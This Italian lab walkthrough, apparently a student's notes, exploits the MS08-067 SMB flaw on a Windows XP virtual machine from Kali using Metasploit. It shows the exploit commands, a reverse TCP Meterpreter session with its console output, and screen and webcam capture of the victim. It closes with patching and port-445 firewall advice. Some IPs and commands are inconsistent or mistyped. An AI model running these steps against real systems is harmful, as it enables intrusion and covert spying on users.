Mettiamo in rete Host la macchina XP, controlliamo l'ip e spegniamo il firewall da interfaccia windows

IP WIN XP 192.168.13.6

IP KALI 192.168.13.3

Avviamo msf console e cerchiamo la vulnerabilita' MS08-067

Useremo exploit/windows/smb/ms08_067_netapi

Per maggiori informazioni sul plugin

```
info exploit/windows/smb/ms08 067 netapi
```

L'exploit serve quindi ad eseguire del codice nella macchina windows vittima

Use exploit/windows/smb/ms08_067_netapi

Se non leggiamo

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

```
show payloads set payload windows/meterpreter/reverse tcp
```

show options

Tra le opzioni da settare troviamo rhost,

set rhost 192.168.13.6

exploit

show targets

Set target 0 per il targeting automatico

```
msi6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.13.9
rhosts ⇒ 192.168.13.9

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.13.3:4444

[*] 192.168.13.9:445 - Automatically detecting the target...

[*] 192.168.13.9:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English

[*] 192.168.13.9:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)

[*] 192.168.13.9:445 - Attempting to trigger the vulnerability...

[*] Sending stage (175686 bytes) to 192.168.13.9

[*] Meterpreter session 1 opened (192.168.13.3:4444 → 192.168.13.9:1075) at 2023-10-05 15:30:28 -0400

meterpreter >
```

Siamo dentro!

La console di meterpeter mette a disposizione alcuni strumenti che possono tornarci utili ad esempio per catturare la schermata che l'utente sta visualizzando

load espia

screengrab



Con il comando help cerchiamo tra i vari comandi qualcosa per la webcam

webcam_list List webcams

webcam_snap Take a snapshot from the specified webcam

per evitare questo problema basterebbe aggiornare il sistema operativo alla patch rilasciata nei service pack/os più aggiornati o semplicemente usando il firewall per gestire il traffico per la porta 445.